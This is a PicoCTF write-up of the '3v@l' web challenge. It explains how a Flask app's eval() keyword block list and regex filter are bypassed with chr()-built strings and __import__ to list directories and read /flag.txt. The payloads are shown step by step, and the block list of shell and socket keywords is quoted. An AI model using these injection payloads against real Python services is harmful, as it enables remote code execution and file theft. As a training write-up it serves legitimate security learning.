← Back to Cybersecurity Projects
PicoCTF — Write-Up

3v@l

Category:Web Exploitation
Points:n/a
Author:Kelvin Creighton
Difficulty:Medium
#web#eval#python#flask#rce
01

Research

Why eval is dangerous?

  • Executes a string as code.
  • What more is to be said honestly. (at least for this challenge)
02

Information Gathering

Taking a look at the HTML in the Inspector section in the Developer Tools we find this hint:

TODO ------------ Secure python_flask eval execution by 1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind 2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
STEP 01Breaking Down the Regex

If we break down the regex, which has many parts split by the | (or) operator, we can see what it will and will not match with:

- `0x[0-9A-Fa-f]+`: One or more hexadecimal digits (0–9, A–F, a–f). - `\\u[0-9A-Fa-f]{4}`: Literally \u (the regex has \\u so it matches one backslash + u). Exactly four hex digits. - `%[0-9A-Fa-f]{2}`: Literally %. Exactly two hex digits. - `\.[A-Za-z0-9]{1,3}\b`: Literal dot. 1 to 3 alphanumeric characters. Word boundary. - `[\\\/]`: Matches either a backslash \ or a forward slash /. - `\.\.`: Matches .. (two dots).

STEP 02Analyzing Matches vs Non-Matches

Examples of what Matches and Doesn't Match:

- Hex literal: Matches `0xFF`, Doesn't Match `0x` - Unicode escape: Matches `\u0041`, Doesn't Match `\u123` - Percent encoding: Matches `%20`, Doesn't Match `%2` - File extension: Matches `.js`, Doesn't Match `.jpeg` - Double dot: Matches `..`, Doesn't Match `...`

Notice that underscores are also not blacklisted. This will come in handy later...

03

Creating the Payload

We know we can't use the `ls` command. However, there may still be a way to run a 'list directories' using `os.listdir()`. The problem is that the keyword `os` is also blacklisted.

STEP 01Bypassing the Keyword Blacklist
INPUTchr(111)+chr(115)
OUTPUTos

Reason: A trick we can use is through the `chr()` function to evaluate the letters. This outputs `os`, but it is still just a string object.

STEP 02Importing the `os` Module
INPUT__import__(chr(111)+chr(115)).listdir()
OUTPUT['app.py', 'static', 'templates']

Reason: This is equivalent to `__import__('os').listdir()`. It allows us to list the current directory contents.

STEP 03Exploring the Root Directory
INPUT__import__(chr(111)+chr(115)).listdir(chr(47))
OUTPUT['flag.txt', ...]

Reason: Now we dig around and find the `flag.txt` file in the `/` directory. We use `chr(47)` to represent the forward slash `/` since it's blacklisted by the regex.

STEP 04Reading the Flag
INPUTopen(chr(47)+'flag.'+chr(116)+'xt').read()
OUTPUT[Flag Content]

Reason: We need to open and read the file. But remember we are restricted with the regex (`/` is blacklisted along with any 1-3 letters after a dot). So instead we use `chr()` again to thwart the regex blacklist. A more robust solution would be `__import__('builtins').open(chr(47)+'flag.'+chr(116)+'xt').read()`.

04

Key Takeaways

  • Do not use `eval()` on user-supplied input. It leads to Remote Code Execution.
  • Blacklists and regex filters are often insufficient to prevent code execution because attackers can obfuscate or build the payloads using built-in functions like `chr()` and dynamic imports.
FF

Flag

Captured Flag
[REDACTED]
Kelvin Creighton — PicoCTF Write-UpAll steps performed in a legal CTF environment.